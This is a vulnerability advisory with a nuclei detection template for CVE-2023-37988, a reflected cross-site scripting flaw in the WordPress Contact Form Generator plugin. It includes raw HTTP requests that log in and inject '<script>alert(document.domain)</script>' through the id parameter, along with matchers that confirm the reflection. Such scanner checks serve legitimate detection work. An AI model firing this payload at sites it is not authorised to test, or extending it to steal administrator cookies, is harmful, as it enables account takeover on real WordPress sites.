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CVE-2023-37988· creative-solutions / contact-form-generator· CWE-79
Contact Form Generator <= 2.5.5 - Cross-Site Scripting
The Contact Form Generator plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'id' parameter in wp-admin/admin.php in versions up to, and including, 2.5.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
Impact
Unauthenticated attackers can inject malicious JavaScript through the id parameter to steal WordPress administrator session cookies when they view crafted links.
Fix
Update to plugin version 2.5.6 or later.
How to confirm it
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=contact_form_generator&id=1%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains in body_2 "<script>alert(document.domain)</script>" and "contact_form_generator" AND contains in content_type_2 "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2023-37988 -u <target>
The full check
id: CVE-2023-37988
info:
name: Contact Form Generator <= 2.5.5 - Cross-Site Scripting
author: 0xr2r,vats147
severity: medium
description: |
The Contact Form Generator plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'id' parameter in wp-admin/admin.php in versions up to, and including, 2.5.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
impact: |
Unauthenticated attackers can inject malicious JavaScript through the id parameter to steal WordPress administrator session cookies when they view crafted links.
remediation: |
Update to plugin version 2.5.6 or later.
reference:
- https://packetstorm.news/files/id/174896
- https://nvd.nist.gov/vuln/detail/CVE-2023-37988
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-37988
epss-score: 0.01317
epss-percentile: 0.71028
cwe-id: CWE-79
cpe: cpe:2.3:a:creative-solutions:contact_form_generator:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: creative-solutions
product: contact-form-generator
fofa-query: body="/wp-content/plugins/contact-form-generator"
tags: cve,cve2023,wordpress,wp,wp-plugin,xss,contact-form-generator,authenticated,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=contact_form_generator&id=1%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "<script>alert(document.domain)</script>"
- "contact_form_generator"
condition: and
- type: word
part: content_type_2
words:
- "text/html"
- type: status
status:
- 200References
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